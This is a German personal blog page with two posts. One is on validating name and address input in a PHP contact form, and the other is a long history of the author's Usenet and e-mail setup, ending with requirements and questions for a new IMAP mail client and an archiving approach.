Netz - Rettung - Recht (Artikel mit Tag E-Mail)

Validierung von Eingaben im Kontaktformular

nospam@example.com (Thomas Hochstein) — Thu, 24 Mar 2022 05:00:00 +0000

Meine Homepage hat noch ein Kontaktformular. Selbstverständlich findet sich auf derselben Seite auch meine Mailadresse (samt GPG-Key), und man sollte annehmen, dass das der übliche Weg zur Kontaktaufnahme wäre, aber überraschend viele Nachrichten erreichen mich dann doch noch über das Kontaktformular. Dafür mag es verschiedene Gründe geben: der Mailclient auf dem Arbeitsrechner (oder dem Smartphone) hat vielleicht kein Profil mit der gewünschten Absenderadresse - oder für den Absender ist “E-Mail” gleichbedeutend mit “GMail” oder einem anderen webbasierten Dienst, d.h. es wird gar kein Mailprogramm mehr verwendet. Sei dem, wie dem sei - das Kontaktformular wird (trotz Recaptcha) durchaus genutzt, und ab und an verschluckte es sich an unerwarteten Eingaben. Gerne genommen war beispielsweise ein Komma im Eingabefeld für den Namen (“Müller, Egon”). Da das Formular die Eingabe einfach 1:1 in das From:-Feld übernommen hat, fand sich da dann etwas wie

Müller, Egon <absender@domain.example>

Das aber gefällt der Technik nicht, denn ein , trennt im From: oder To: mehrere Absender/Adressaten voneinander. Soll im Namen ein Komma vorkommen, muss der gesamte Name in " gesetzt werden. Außerdem fiel mir bei dieser Gelegenheit auf, dass ich die Eingaben insgesamt nicht wirklich validiere. Zeit, das zu ändern.

Und während ich noch überlegte, wie man noch einmal am besten eine Mail-Adresse validiert (ein wirklich nicht einfaches Unterfangen, aber mit Regular Expressions möglich, wenn man keine Kommentare akzeptiert), fiel mir wieder ein, dass ich so etwas doch schon einmal gebastelt hatte. Und richtig: da lag eine bereits halb vergessene PHP-Klasse herum, die Validierungsfunktionen bietet, u.a. die syntaktische Validerung einer Mailadresse. Und außerdem kann sie eine Eingabe auch gegen einen beliebigen regulären Ausdruck validieren.

Also prüft das Kontaktformular jetzt, ob die E-Mail-Adresse syntaktisch gültig ist (weiterhin aber nicht, ob es diese Adresse gibt - was zumindest mit hoher Wahrscheinlichkeit möglich ist - oder ob sie dem Absender des Formulars gehört - was nicht möglich ist), wobei fast alle gültigen und jedenfalls alle real anzunehmenden Mailadressen akzeptiert werden, und es testet auch, ob der Absendername eines der Zeichen enthält, die nur zulässig sind, wenn der Name insgesamt in " steht. Dabei wird nicht jeder denkbare Fall abgefangen, aber immerhin die naheliegenden. Das ist schon einmal ein deutlicher Schritt nach vorne (und war nicht wirklich Aufwand, weil ich den Großteil der Vorarbeit bereits geleistet hatte).

[Nachträglich veröffentlicht im April 2022.]

News & Mail - gestern, heute & morgen

nospam@example.com (Thomas Hochstein) — Wed, 05 Jan 2022 13:30:00 +0000

Heute möchte ich mal über ein - primär technisches - Thema schreiben, dass ich schon seit drei Jahren hier im Blog (immer zum Jahreswechsel) anspreche, aber noch nie umfassend ausformuliert habe: mein Mailsetup, bzw. über das historisch gewachsene Chaos in diesem Bereich, das ich gerne auflösen würde. Am Rande geht es auch ein bisschen um Usenet-News, aber das ist nicht das Thema, das mich primär umtreibt, und kann getrennt betrachtet werden.

Ich möchte das (umfangreiche und in Einzelaspekten vielfach miteinander verknüpfte) Thema gerne - wie schon im Titel angekündigt - in drei Schritten angehen: Wie hat sich mein Umfang mit News und Mail über die letzten zweieinhalb Jahrzehnte entwickelt? Wie sieht mein Setup heute aus? Und wo möchte ich hin, was sind meine Vorstellungen für die Zukunft? (Das ist dann der Teil, wo ich konzeptionellen Rat und konkrete Software-Empfehlungen suche und dankbar für Berichte über eigene Lösungen bin, in der Hoffnung, dass der Knoten bei mir irgendwann einmal platzt.)

Ursprünglich wollte ich zwei verschiedene Beiträge verfassen: einmal den historischen Rückblick, und dann getrennt davon die konkreten Vorstellungen und Fragen für die Zukunft, um gezieltes Feedback und Tipps zu ermöglichen. Nun ist es doch ein einziger, langer Beitrag geworden. Wer Zeit und Lust hat, Reminiszenzen aus den letzten mehr als 20 Jahre zu lesen, der fängt vorne an; wer keine Zeit oder Lust hat, der kann (tl; dr) direkt zu meinen konkreten Vorstellungen und Fragen springen.

Usenet-News und E-Mail gestern

Wie ich schon auf meiner Homepage dargestellt habe, führte mein Weg online (Ende 1995) über Compuserve und dann AOL. Ich wundere mich retrospektiv selbst, dass mir die Mailbox-Szene ebenso wie die Möglichkeiten an der Universität bis dahin verborgen blieben, aber sei es drum. Bei Compuserve lernte ich die internen Foren kennen, bei AOL stolperte ich (wohl erst Anfang 1997?) mehr oder weniger zufällig über das Usenet - der ewige September dauerte da schon ein paar Jahre an, und natürlich war ich genau so ein typischer AOL-User. Die Newsgroups hatten es mir angetan; bald nutzte ich irgendein Tool (“AOL Offline Reader”), mit dem man den Abruf und das Posten vorbereiteter Beiträge automatisieren konnte, um Onlinezeit zu sparen, die teuer war. Und mit der Zeit lernte ich, dass AOL im Prinzip nur ein (technisch minderwertiges) Gateway zum eigentlichen Usenet darstellte. Von da an wechselte ich schon im Spätsommer 1997 zu einem Einwahlprovider und legte in den nächsten Jahren den Fokus auf einen guten Newsserver, denn meine Online-Welt drehte sich primär um das Usenet. Natürlich war auch E-Mail wichtig, und ein bisschen das World Wide Web (aber Surfen war teuer, und IRC ging schon kostenmäßig gar nicht). Dann ging alles recht schnell: mit der Zeit setzte ich Mailtraq als Multifunktionsserver unter Windows auf, lernte Perl, um UUCP-Batches zu entpacken und an Mailtraq zu verfüttern, verfasste 1998 meine erste eigene FAQ (zum Headerlesen bei E-Mails) und dann kam 1999 der berühmte Hamster zum Einsatz, der mir (zumindest auf dem Laptop) bis zuletzt erhalten blieb, auch wenn die eigentlichen Serveraufgaben durch einen Homeserver unter Linux übernommen wurden.

Ich schweife aber ab, wie ich merke. Der entscheidende Punkt: mit dem Wechsel aus dem Onlinedienst AOL ins Internet musste ich mir über Mail- und Newsclient Gedanken machen. Für das Usenet habe ich von Anfang an den Forté Agent genutzt, der gute Besprechungen hatte. Für E-Mail nutzte ich anfangs Pegasus Mail (oder kurz Pmail), dann aber ebenfalls den Agent, denn damals war vor allem das Usenet wichtig, und News und Mail gehörten schon immer zusammen; außerdem entsteht aus öffentlichen Postings ab und an eine Konversation per Mail, und das alles im selben Programm zu haben machte Sinn. Das ist bis heute so, mehr als 20 Jahre später: Agent ist mein News- und Mailclient.

Ende der 90er beendete ich mein Studium, Anfang der 2000er begann ich zu arbeiten und war einige Jahre Fernpendler. Für die Bahnfahrten begann ich einen geerbten Laptop zu benutzen, um dort News (und Mail) zu lesen und zu beantworten - in der Regel dergestalt, dass ich abends dann die Ausbeute des Tages ins Netz postete. Mobile Internetverbindungen waren unerschwinglich und mir auch technisch nicht zugänglich. Damit begann aber ein Problem, das mich die nächsten 20 Jahre in dieser oder jener Form begleitet hat: wie halte ich den Bestand zwischen Laptop und Desktop (dem Hauptrechner) synchron? Anfangs war das einfach: Für Mail nutzte ich das Feature, dass der Client Mails (auch über POP3) nach dem Abruf nicht löschen muss; ich ließ also auf dem Laptop die Mails auf dem Server und rief sie abends zuhause am Desktop ab. Für News war das einfach: die konnte man auf beiden Geräten schlicht getrennt abrufen. Ausgehende Mails und Postings konnte ich schlicht abends (oder einmal die Woche) auf dem Laptop exportieren und auf dem Desktop importieren. Schwierig war nur der Umgang mit ungelesenen (oder zur Beantwortung vorgemerkten, aber noch nicht beantworteten) Postings und Mails; diesen Status synchron zu halten war für Mails gar nicht und für Newsgroups mit meiner Software nur sehr unvollkommen möglich. Entweder musste ich das also im Kopf behalten, oder bis zum Abend (oder jedenfalls bis zum Wochenende) auf dem Laptop alles erledigen - oder primär auf dem Laptop arbeiten.

Über die Jahre habe ich mich für letzteres entschlossen. Dabei spielte sicherlich mit, dass ich ab Ende 2004 Wochenendpendler wurde; der “Homeserver” stand aber weiterhin am alten Wohnort, der hauptsächlich genutzte Desktoprechner auch - der Desktop in der neuen Wohnung funktionierte nie so richtig befriedigend und wurde jedenfalls praktisch nicht genutzt. Im Ergebnis habe ich daher Newsgroups und E-Mail allein auf dem Laptop bearbeitet und den Desktoprechner quasi als Archiv und Sicherung benutzt. “Standardisiert” habe ich das dann einige Jahre nach dem nächsten Umzug, als ich Anfang 2011 endlich einen Homeserver am nunmehr neuen Wohnsitz installiert und auch die Daten vom Desktop am alten Wohnort auf den (nunmehr wieder genutzten) Desktoprechner am neuen Wohnsitz kopiert hatte. Zugleich bin ich auf eine aktuelle Version des Agent umgestiegen. Den Wechsel - und auch den hier gerade nochmals dargestellten Weg dorthin - beschrieb ich damals, vor elf Jahren, schon hier im Blog; und auch dort hieß es:

Jetzt fehlt nur noch eine abschließende Lösung für das Mail- und Newshandling […]

Ja, so ist es, die fehlt. Immer noch.

Aber weiter im Text: Von Januar 2011 bis Januar 2021, also sagenhafte 10 Jahre, habe ich News und Mail weiterhin über meinen jeweiligen Laptop abgewickelt und jeweils zum Jahresende das komplette Datenverzeichnis auf den Desktoprechner kopiert, mit einem Shortcut verknüpft, der Agent im richtigen Datenverzeichnis startet, (bis vor einigen Jahren) Postings und Mails aus den Vorjahren gelöscht, das automatische Expire abgeschaltet und (um Unfälle zu vermeiden) die Zugangsdaten für News- und Mailserver gelöscht. Auf dem Laptop blieb der Datenbestand, wobei nach ~ 400 Tagen alte Postings automatisch gelöscht wurden. Mit Mails sah das etwas anders aus; es erwies sich oft als hilfreich, auch ältere Mails zur Hand zu haben, ohne dazu im (nach Jahren geordneten) Archiv suchen zu müssen. Außerdem hatte ich mir seit 2011 im Agent eine verschachtelte Struktur von Mailverzeichnissen angelegt - und nachdem Plattenplatz (für Textdateien!) auch auf einem Laptop kein Problem mehr war und der Laptop im selben Rhythmus wie der Desktop gesichert wurde, habe ich Mails auch dort weitgehend dauerhaft archiviert. (Was dazu führt, dass die Archiv-Instanzen auf dem Desktoprechner seit vielen Jahren nicht nur die Mails des jeweiligen Jahres, sondern auch der Vorjahre enthalten, aber wie gesagt, Plattenplatz für Textdateien ist heute kein Problem mehr; so viele Texte kann man gar nicht schreiben oder lesen.)

Mit den Jahren wurde ich sesshafter, und meine Nutzung verschob sich sukzessive vom Laptop als alleinigem Hauptrechner zum Desktop; seit 2013, und ganz sicher in den letzten Jahren habe ich den Laptop nur noch auf (seltenen) Reisen (meistens im Urlaub) und für News und E-Mail verwendet. Allerdings hatte ich 2011 auch den Mailabruf umgestellt und auf dem neuen Homeserver Roundcube als Webmailer installiert; auf diesen Datenbestand haben auch Smartphones und Tablets Zugriff. Zunehmend habe ich meine E-Mails dort gelesen und beantwortet, nicht zuletzt, weil Agent mit HTML-Mails bestenfalls rudimentär umgehen kann; viele zeigt er schon nicht richtig an, und sie zu beantworten, ist noch schwieriger. Schon 2016 war der Ablauf daher meistens so, dass ich Mails auf Mobilgeräten und dem Webmailer gelesen und beantwortet habe; ab und an, meistens nur noch am Wochenende, manchmal auch nur alle paar Wochen, habe ich dann den Laptop gestartet und Mails und News abgerufen. Die Mails wurden dann primär nur noch archiviert, ganz selten von dort aus beantwortet; dem Usenet habe ich mich überhaupt nur im (Mehr-)Wochenrhythmus gewidmet. Das lag am Ende nicht zuletzt daran, dass ich die Auflösung auf meinem Laptop recht hoch gestellt hatte, damit viel auf den Bildschirm passt, so dass die Schrift arg klein war - und da ich auch nicht jünger werde, wurde es damit auch immer anstrengender, sie zu lesen. (Ich brauche schon seit 2019 wohl eine neue Brille, weil ich sie für die Arbeit am Rechner und fürs Lesen absetzen muss, aber das ist wieder eine andere Baustelle; erst war viel zu tun, dann war Pandemie, dann war viel zu tun und Pandemie …) Meine Usenetpräsenz hatte sich schon im April 2020 wieder leicht erhöht, nachdem ich manche Newsgroups zwischendurch vom Desktop aus mit Xananews las; außerdem habe ich den Laptop dann ab Mai an den neuen zweiten Bildschirm angeschlossen, so dass endlich alles wieder groß genug war. Dennoch: auch das ist aufwendig.

Anfang 2021 habe ich dann einen Schnitt gemacht und Agent auf den Desktoprechner verschoben. (Und die leichtere Zugänglichkeit war sicherlich zumindest ein, wenn nicht der Grund dafür, dass ich 2021 zehnmal so viele Postings wie 2020 geschrieben habe - so viele wie seit 2011 nicht mehr.) Damit habe ich zugleich den Hamster abgeklemmt, der bis dahin auf dem Laptop werkelte - weniger zum Synchronisieren mehrerer News- und Mailaccounts als vielmehr wegen der Zusatzsoftware Korrnews, einem News- und Mailfilter, der bspw. Zeichensätze umkodieren, Quoting reparieren und diverse Header modifizieren kann. Darauf habe ich verzichtet; das einzige, was ich übernommen habe, war das Setzen einer Message-ID für Postings, aus der sich die Newsgroup und das Datum ergibt, denn das finde ich weiterhin sehr praktisch, um direkt erkennen zu können, worum es geht. Das macht (schon seit der Verwendung von Xananews) nunmehr ein Filter für den INN für mich. Die zweite alte Software, die noch auf dem Laptop lief, war gpgrelay - ein Filter, der eingehende Mail ent- und ausgehende Mail verschlüsseln (und signieren) kann. Das fand ich sehr praktisch, den Agent unterstützt GPG nicht, und ich schätzte es sehr, wenn die Verschlüsselung der Mails sich auf den Transportweg beschränkt. Verschlüsselt gespeicherte Mails kann ich nämlich nicht durchsuchen, ganz egal, ob ein- oder ausgehend. Allerdings war das letzte Release von 2005, und die Website ist seit 2017 nicht mehr verfügbar - zudem wurden manchmal (warum auch immer) Header verdoppelt. Der Abschied fiel daher recht leicht.

Usenet-News und E-Mail heute

Nach rund 25 Jahren stehe ich heute mehr oder weniger vor demselben Problem, das ich habe, seitdem ich Mail (und News) auf mehreren Rechnern lese; die derzeitige “Lösung” ist bisher das 2011 geschaffene, einigermaßen stabile Provisorium, letztmals modifiziert 2021, wie vorstehend beschrieben.

Nachstehend fasse ich den status quo nochmals getrennt nach News und Mail zusammen, und zwar sowohl aus technischer Sicht (Ein- und Ausgang sowie News-/Mailserver), in Hinblick auf die verwendete Software und meinen Workflow und unter Berücksichtigung der (für mich ebenfalls wichtigen) Archivierung.

News über einen lokalen INN

Bei News ist einfach: Ich betreibe im lokalen Netzwerk auf dem Homeserver einen lokalen Newsserver (einen INN), der hauptsächlich über meinen eigenen Newsserver news.szaf.org mit dem Usenet verbunden ist und zudem (historisch gewachsen) über drei UUCP-Feeds und - für spezielle, teilweise lokale Gruppen - via suck mit mehreren Servern News austauscht. Darauf haben alle Clients Zugriff. Problematisch ist nur die Synchronisierung der gelesenen Beiträge, aber das kann man entweder per Hand erledigen, oder ich kopiere einfach die Agent-Instanz auf den Laptop und nach dem Urlaub wieder zurück; beides ist für mich kein Problem, und das Usenet ist mir zwar noch lieb und teuer, aber nur noch ein Schatten seiner selbst, spielt daher im Alltag nur noch eine Nebenrolle. Die Archivierung der Postings erfolgt (nur in den von mir abonnierten Gruppen) lokal im Client, und zwar nach Jahren getrennt; sonst bekommt Agent irgendwann Probleme mit der Datenhaltung. Daneben gibt es mehr oder weniger sinnvoll nutzbare Newsarchive im Netz. Das alles ist für mich kein Problem, das kann im Wesentlichen so bleiben oder frisst jedenfalls mein Brot.

Mail - das Problem

Bei Mail sieht das anders aus.

Ich habe - in erster Linie historisch gewachsen - eine Vielzahl von Mailadressen bei verschiedenen Anbietern, und ich habe davon abgesehen eine Vielzahl von Domains registriert und eine Vielzahl von Projekten, für die ich (möglichst wenige, aber dennoch eine ganze Menge) verschiedene Mailadressen nutze. Ursprünglich wurde das alles per fetchmail auf dem Homeserver gesammelt; nachdem der früher öfter mal nicht erreichbar war (und deutlich mehr als 100 km von meinem neuem Wohnort entfernt - im Urlaub noch weiter), habe ich (auch ungefähr 2011) für die wichtigsten Postfächer eine andere Lösung über offlineimap geschaffen. Ich synchronisiere diese Postfächer auf dem Homeserver mit den Postfächern auf den externen Maschinen - der Gedanke war, dass ich im Urlaub bei Ausfall des Homeservers direkt auf die eigentlichen Postfächer zugreifen kann, aber bei deren Ausfall wiederum den Mailbestand zuhause “sicher” habe. Das macht, ehrlich gesagt, zumindest heute wenig Sinn, aber so ist es eben gerade.

Technisch sieht das daher so aus: Auf dem Homeserver läuft als lokaler IMAP-Server ein Dovecot, der auch extern zugänglich ist. Dort gibt es ein “Hauptpostfach” und (derzeit noch) drei weitere Postfächer, die über offlineimap mit externen Accounts (zwei auf einem meiner Server, einem anderswo) synchronisiert sind. Alle anderen Accounts werden einmal oder mehrfach täglich über fetchmail abgerufen, das die Mails dann an den lokalen Exim verfüttert, der sie wiederum dem Dovecot ins Hauptpostfach legt. Außerdem kommt (theoretisch) Mail per UUCP rein. Mailinglisten laufen im Prinzip alle in ein Postfach auf einem meiner Server, das viermal täglich per fetchmail abgerufen wird. Manche werden in lokale Newsgroups auf dem INN gegated, der Rest geht ins lokale Hauptpostfach. Ansonsten laufen praktisch alle meine Mailadressen (über die verschiedensten Wege) in ein weiteres Postfach auf einem meiner Server, das per offlineimap auf den Homeserver synchronisiert wird. “Administrative” Mail (vor allem die ganzen automatisch generierten Mails von Monitoring-Systemen und aus Cronjobs der diversen Server, aber leider derzeit auch Mail an Role-Accounts wie “newsmaster”) landet in einem dritten Postfach auf einem meiner Server, das ebenfalls per offlineimap auf den Homeserver synchronisiert wird. Ähnlich mit einem weiteren Account bei einem lokalen Providerverein, der ebenfalls per offlineimap auf den Homeserver synchronisiert wird.

Auf die Mails auf meinem Homeserver kann ich per Webmail (Roundcube) zugreifen, sowohl aus dem lokalen Netz als auch per VPN von außen; außerdem könnte ich natürlich jeden beliebigen Mailclient nehmen. Über IMAP habe ich von extern Zugriff und nutze das, um auf dem Smartphone Mails lesen und notfalls auch kurz beantworten zu können. “Erledigte” (gelesene oder ggf. beantwortete) Mails aus den per offlineimap synchronisierten Accounts schiebe ich ins Hauptpostfach auf dem Homeserver; ab und an (meistens einmal pro Woche) mache ich das auch mit den Mails aus dem “Adminpostfach”.

Mein Forté Agent kann nur POP3 und hat daher nur Zugriff auf das Hauptpostfach. Wenn ich ihn starte und Mail abrufe (mindestens einmal pro Woche), lädt er sie und löscht sie auf dem Server. Vieles sortiert er durch geeignet gewählte Filter von selbst in seine Verzeichnisstruktur ein, den Rest verschiebe ich von Hand passend (meistens am Wochenende), und die noch nicht vom Smartphone oder von Roundcube aus beantwortete Mail beantworte ich dann von dort aus. Manchmal lasse ich unbeantwortete E-Mails absichtlich in einem der synchronisierten Postfächer liegen, da sie dort von überall her zugänglich sind.

Ausgehende Mails schicken alle Clients an einen Exim auf dem Homeserver, der einen meiner Server als Smarthost nutzt. (Ich glaube, K-9 auf dem Smartphone versendet direkt über den Smarthost, bin aber nicht sicher.) Sowohl Roundcube als auch K-9 auf dem Smartphone sind im Übrigen so konfiguriert, dass sie alle ausgehenden Mails automatisch per BCC an mich selbst schicken. Jede ausgehende Mail geht also bei mir auch wieder ein; das führt dazu, dass ich sie ebenfalls wegsortieren muss, erlaubt aber die vollständige Archivierung auch der ausgehenden Mails.

Diese Archivierung der Mails erfolgt im Agent; faktisch bleiben sie dort seit einigen Jahren dauerhaft gespeichert, aber es gibt auch jedes Jahr eine Kopie im Archiv. Ich packe dabei in der Regel ausgehende Mails nicht in einen “Gesendet”-Ordner, sondern in das Verzeichnis, wo sie thematisch hingehören, habe also ein- und ausgehende Mails thematisch geordnet beieinander.

Mit diesem Zustand bin ich aber seit Jahren massiv unzufrieden.

Agent ist jedenfalls als Mailclient keine optimale Lösung mehr. Die Entwicklung des Programms stagniert bzw. dürfte geendet haben; das letzte Release war 2014, und schon seit 2008 hat man eigentlich nur noch an Features für das “Binary Usenet” (also Usenet als Filesharing-Medium) gearbeitet. Er kann im Prinzip mit HTML-Mails nicht umgehen; im Grundsatz hat er auch Zeichensatzprobleme (die in der Praxis allerdings meistens nicht auftreten). Er kann kein IMAP; das schließt also grundsätzlich einen Zugriff mehrerer Clients auf denselben Datenbestand aus. Er hat auch keine Unterstützung für GPG (das allerdings zunehmend keine Rolle mehr spielt). Schmerzen bereitet primär die fehlende Unterstützung für HTML und IMAP; ansonsten ist das Programm sehr vielseitig, mächtig und standardkonform. Es wird daher vermutlich nicht einfach sein, eine mindestens gleichwertige Alternative zu finden, die diese beiden Probleme nicht hat.
Primär wegen der Nutzung von Agent als Client ist kein (unproblematischer) Zugriff von verschiedenen Clients auf den Mailbestand möglich. Es wäre aber schon schön, wenn ich nicht darauf zurückgeworfen wäre, Mails in andere Ordner zu verschieben oder sie mit dem eigentlichen Mailclient erst einmal nicht abzurufen, nur um auch mobil auf den laufenden Mailbestand und die Mails der letzten Tage/Wochen zugreifen zu wollen. Ich möchte gerne wenigstens auf die letzten Wochen oder Monate, vielleicht sogar das letzte Jahr von überall her zugreifen können. Das setzt voraus, dass ich die Mails zumindest grundsätzlich auf einem (lokalen) Server speichere. Im Hinblick auf die Sicherheit (gegen externen Zugriff) ist das nicht optimal, mich treibt aber vor allem um, wie es mit dem Zugriff und der zügigen Durchsuchbarkeit aussieht.
Auch die Archivierung ist nicht der Weisheit letzter Schluss. Meine E-Mails verteilen sich auf viele (vielleicht sogar zu viele) Folder, und diese sind im Grundsatz pro Jahr in einer getrennten Agent-Instanz. Ich muss also ggf. mehrere verschiedene Agent-Instanzen starten und in diesen Volltextsuchen über eine Vielzahl von Foldern durchführen, wenn ich eine bestimmte Mail suche. Entweder hätte ich gerne alles beisammen (d.h. keine strikte Trennung mehr zwischen “laufendem” Mailbestand und Archiv), oder zumindest alle Mails, die älter als 12 Monate oder so sind, in einem speziellen Archiv. Dazu möchte ich aber bitte nicht regelmäßig Mailbestände exportieren und importieren müssen; ich habe zwischen 90 und 100 Verzeichnissen. Wenn ich jedes Jahr aus jedem Ordner einzeln Mails exportieren und dann wieder importieren muss, sind das rund 200 Bedienschritte, jedes Mal mit Wartezeit. Das geht nicht.

E-Mail morgen

Ich brauche also Lösungen für drei miteinander verbundene Problemfelder:

einen zeitgemäßen, mächtigen Mailclient;
Zugriff auf den laufendem Mailbestand durch verschiedene Clients; und
eine Archivierungslösung.

Mailclient

Bisher verwende ich den Forté Agent 8.00/32.1272 als Mailclient. Das Programm ist standardkonform und recht mächtig, hat aber zwei Mankos: es kann praktisch nicht mit HTML-Mail umgehen, und es kann kein IMAP, was im Ergebnis den zweiten Wunsch (Zugriff mehrerer Clients auf denselben Datenbestand) ausschließt.

Ich suche also einen neuen Mailclient. (News muss er nicht können.) Die heute wohl generische Antwort Thunderbird schmeckt mir bislang nicht recht; ich habe dabei kein gutes Gefühl, weil ich einerseits den Eindruck habe, nicht sicher genug zu wissen, wie die ausgehenden Mails wirklich aussehen, und anderseits viele Konfigurationsmöglichkeiten irgendwo “versteckt” zu sein scheinen. Agent glänzt durch eine Doku, die u.a. die komplette Konfigurationsdatei erläutert.

Meine Anforderungen, grob in absteigender Wichtigkeit:

Gesetzt ist als OS Windows - damit arbeite ich, und das wird auch so bleiben - und ein GUI-Programm. Daran bin ich gewöhnt, und ich möchte in verschiedenen Fenstern gleichzeitig arbeiten können. IMAP und SSL/TLS setze ich voraus.
Wichtig sind mir auch Standardkonformität und Stabilität. Ich nutze Mail als primäres Kommunikationsmedium, und mir ist mein Mailbestand wichtig. “Am besten mal neu installieren” oder “setze mal das Profil neu auf” sollte jenseits katastrophaler Ausfälle ein No-Go sein.
Das Programm sollte so weitgehend wie nur möglich über die Tastatur zu bedienen sein. Dazu gehören ausreichende Shortcuts für Standardoperationen. Der Weg über das Menü oder gar ausschließlich über mausgesteuerte Kontextmenüs ist ein No-Go.
Großen Wert lege ich darauf, dass ich die volle Kontrolle über Inhalt und Gestaltung der ausgehenden Mails habe; dazu gehört auch, dass ich steuern kann, wie mir Mails angezeigt werden. Die Mail soll so versandt werden, wie sie im Editor aussieht, der mir insbesondere den Zeilenumbruch so zeigen soll, wie er auch tatsächlich erfolgt; die Zeilenlänge muss zudem leicht konfigurierbar sein. Ich würde mir auch wünschen, Content-Type: und Content-Transfer-Encoding: steuern zu können. Ich muss mir ohne große Verrenkungen alle Header anzeigen lassen, die die ausgehende Mail enthalten wird; diese sollte ich ändern und auch durch eigene Header ergänzen können. Der Editor sollte mindestens das Einfügen gequoteten Textes aus der Zwischenablage ermöglichen (d.h. vor jede Zeile ein “>” setzen); optimalerweise unterstützt er dafür zwei verschiedene Quotestile (bspw. “>” und “|”). Genauso gut ist es natürlich, wenn man Absätze im Editor auf Knopfdruck (auch mehrfach) mit Zitatzeichen versehen oder diese entfernen kann. Sowohl der Viewer als auch der Editor sollten die Umschaltung von einer Proportional- auf eine Festbreitenschrift erlauben; der Viewer muss es zudem ermöglichen, sowohl den Body als auch die Header “raw”, also unter Abschaltung jeder Interpretation, anzuzeigen; eine gesonderte “Quelltextansicht” wäre notfalls eine Krücke, lieber wäre mir das Umschalten. Auch sollte der Viewer es ermöglichen, auf Knopfdruck zwischen der Anzeige überlanger Zeilen und einem Umbruch derselben (“word wrap”) umzuschalten. Das alles ist m.E. mehr oder weniger Basisfunktionalität.
Der Client sollte verschiedene Identitäten unterstützen, für die sich jeweils Absender, vorgegebene (zusätzliche) Headerzeilen, Signatur usw. individuell steuern lassen. Es würde sehr helfen, wenn man für jeden Folder eine Identität angeben kann, die für Antworten an Mails aus diesem Folder (oder für Mails, die man schreibt, während dieser Folder den Fokus hat) verwendet werden. Hilfreich wäre es auch, wenn bei einer Antwort auf eine an die Mailadresse xyz@example.com direkt die mit dieser Mailadresse verknüpfte Identität ausgewählt würde. Unterschiedliche Accounts müssen nicht unbedingt unterstützt werden.
Ich brauche eine schnelle und mächtige Suchfunktion. Am besten wäre eine Suche, die Verknüpfungen von Suchbegriffen (and/or), die Beschränkung auf bestimmte Header und den Body sowie regular expressions unterstützt. Superbequem macht Agent das, der es erlaubt, komplexe Suchausdrücke zu definieren (from:{gmx\.(de|net)} and subject:{spam-report}). Jedenfalls aber müssen verschiedene Suchbegriffe kombiniert werden können, die sich jeweils auf bestimmte Felder einschränken lassen, und regular expressions wären wünschenswert. Die Suche sollte man nur auf bestimmte Folder beschränken können, und sie sollte auch Folder auf dem IMAP-Server durchsuchen können. (Bzw. es wäre schon unter diesem Gesichtspunkt sicher hilfreich, wenn der Client eine lokale Kopie der Mails vorhalten würde.) Es wäre sehr hilfreich, wenn man eine erneute Suche auf die Treffer der bisherigen Suche einschränken könnte, um sich so in mehreren Iterationen dem Ergebnis zu nähern. Eine ergänzende einfache Suche, die bspw. nur im aktuellen Folder und nur in Betreff/Absender o.ä. sucht, wäre hilfreich.
Eingehende Mail sollte direkt beim Abruf in verschiedene Folder gefiltert werden können, und zwar nicht nur in lokale Folder, sondern auch in Folder auf dem IMAP-Server. Die Filter sollten mächtig sein. (Notfalls könnte man das sicherlich durch Filterung auf dem Server ersetzen, aber das wäre mir nicht so recht.) Ausgehende Mails sollte nicht nur gesammelt in einem Sent-Ordner landen können, sondern optional auch in dem Ordner, in dem die beantwortete Mail liegt (oder der den Fokus hat, wenn man eine neue Mail verfasst); notfalls würde es auch genügen, das pro Identität konfigurierbar zu machen.
Der Import und Export von Mails muss möglich sein; als Format muss mindestens MBOX unterstützt werden.
Damit das ganze Sinn hat, sollten HTML-Mails angezeigt werden, denn das ist ja einer der beiden Punkte, die mich überhaupt erst zu einem Wechsel bewegen.

Bis hierhin waren das mehr oder weniger unverzichtbare Anforderungen. Selbstverständlichkeiten (Unterstützung von UTF-8, korrekte Kodierung von 8bit-Zeichen in Headern, konfigurierbare Einleitungszeilen und Signaturen, farbige Markierung von Zitaten, Umgang mit Anhängen und bestimmt noch allerlei sonst so) setze ich dabei voraus.

Nett wäre ggf. noch folgendes:

Einfügen des Inhaltes von Headern aus der zu beantwortenden Mail in Header oder Body. So kann man bspw. für den To:- oder CC:-Header aussuchen, welche der Adressen man übernehmen will, ohne sie hin- und her kopieren zu müssen.
Ein Adressbuch, in das ich leicht weitere Einträge aufnehmen kann, und das mir beim Eintippen im Adressfeld Vorschläge macht. Alternativ: Anbindung externer Adressbücher, wie bspw. der Google-Kontakte.
Native Unterstützung für GPG.
Unterschiedliche Farben für unterschiedliche Zitatebenen.
Unterstützung von Funktionen wie “Group-Reply” für Antworten an eine Mailingliste oder die Auswertung von Headern wie “Mail-Followup-To”.
Neuumbruch von Absätzen, mit Unterstützung der Quote-Ebenen.
Eine Möglichkeit, angehängte E-Mails (Attachments mit einem Content-Type: message/rfc822) “abzuhängen” und als eigene E-Mail zu behandeln.
Umgang mit Digests, bspw. automatisches Aufsplitten.
Eine Rechtschreibkontrolle mit Wörterbuch.

Zugriff auf den Mailbestand durch verschiedene Clients

Soweit ich sehe bedeutet das, dass ich die Mails nicht in einem Client herunterlade, sondern dauerhaft (oder zumindest langfristig) auf dem IMAP-Server speichere.

Gibt es dabei generell etwas zu beachten, bspw. im Hinblick auf Backups?
IMAP-Server sollten ja durchaus eine differenzierte Verzeichnisstruktur ermöglichen, mit (ggf. mehrfach) verschachtelten Foldern? Wie sieht es mit dem automatischen Sortieren eingegangener Mails aus - macht man das lieber auf dem Server oder über (dann einen) Client? Wie vielseitig und flott sind die Suchmöglichkeiten über IMAP, oder unterstützen alle/die meisten Mailclients eine lokale Kopie der Mails auf dem IMAP-Server?

Gibt es weitere Tipps, Stolperfallen und potentielle Probleme oder Empfehlungen?

Archivierung

Ich möchte ein- und ausgehende Mails dauerhaft aufbewahren.

Macht es Sinn, das einfach mit dem laufenden Mailbestand zusammen zu tun, d.h. gar kein gesondertes Archiv zu führen, sondern einfach Mail dauerhaft in Foldern zu belassen? Oder gibt es dann mit der Zeit Schwierigkeiten (Anzahl der inodes auf dem Server, Performance)?
Archiviert man besser auf dem IMAP-Server, bspw. in speziellen Archiv-Foldern? Kann man Mail nach Ablauf einer bestimmten Zeit (bspw. 12 Monate) automatisch in einen Archiv-Folder verschieben lassen? Gibt es Server-Software, die solche Archivfolder transparente komprimieren (und dekomprimieren) kann? Was macht da Sinn?
